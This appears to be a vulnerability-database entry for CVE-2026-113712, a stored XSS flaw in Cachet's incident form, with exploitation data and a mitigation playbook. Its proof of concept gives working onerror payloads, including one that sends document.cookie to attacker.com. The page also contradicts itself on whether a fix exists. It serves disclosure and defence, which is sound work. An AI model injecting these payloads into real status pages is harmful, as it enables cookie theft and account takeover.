CVE-2026-113712 — cachet
Fix: cachethq/core@23adbb8CVE-2026-113712 is a Cross-site Scripting (XSS) vulnerability in cachethq/cachet. No vendor fix is recorded yet; mitigation options are listed below.
Cachet has Stored XSS in Incident Component
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-113712.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
Real-World Exposure
cachethq/cachetReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Packagist packages — download data is not available via public APIs for these ecosystems.
Description
Summary
A stored Cross-Site Scripting (XSS) vulnerability exists in the incident creation form, allowing an authenticated attacker to inject malicious HTML/JavaScript that executes in the browser of any user who views the status page, potentially leading to session token theft and account takeover.
Details
The incident Name and Message fields do not properly sanitize HTML event handler attributes. While <script> tags appear to be filtered, event-based payloads are not blocked.
Affected endpoint: /dashboard/incidents/ Affected fields: Incident Name, Incident Message Affected version: Cachet v3
PoC
- Log in as an authenticated user
- Navigate to /dashboard/incidents/
- Create a new incident
- Insert the following payloads in the Name and Message field:
Payload 1 — Confirm XSS execution:
<img src=x onerror="alert(1)">
Step 2 — Cookie/token exfiltration:
<img src=x onerror="fetch('http://attacker.com/leak?c='+document.cookie)">
Step 3 — Forced redirect to sensitive page:
<img src=x onerror="window.location='/dashboard/manage-customization'">
- Save the incident
- Navigate to the public status page
- Payload executes in the victim's browser
Payload 1
<img width="1926" height="1062" alt="Screenshot_2026-05-05_21_19_21" src="https://github.com/user-attachments/assets/3ec50987-332d-4ba2-8fd2-b18ccc8d8f6b" />Payload 2
<img width="1910" height="525" alt="Screenshot_2026-05-07_12_22_07" src="https://github.com/user-attachments/assets/3b34170d-a2f0-4962-9e20-1fc8e305c589" />Stored XSS affecting all users who view the public status page.
An attacker can:
- Confirm script execution via alert popup
- Steal session cookies and XSRF tokens from authenticated users
- Silently redirect victims to sensitive pages like
/dashboard/manage-customization
This vulnerability could lead to full account takeover of any user who views the status page, including administrators.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | cachethq/cachet | all versions | No fix |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for cachethq/cachet, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Remediation status
No patched version of cachethq/cachet has shipped for CVE-2026-113712 yet. Where your build allows, override or pin the dependency away from the vulnerable range, and apply any maintainer-recommended mitigation.
Mitigate without a patch
Escape or sanitise the affected output on the server side rather than relying on client-side filtering, and add a Content-Security-Policy that blocks inline script execution so injected markup cannot run even if it reaches the page.
Frequently Asked Questions
Is CVE-2026-113712 in your dependencies?
Find it across Packagist, including transitive dependencies.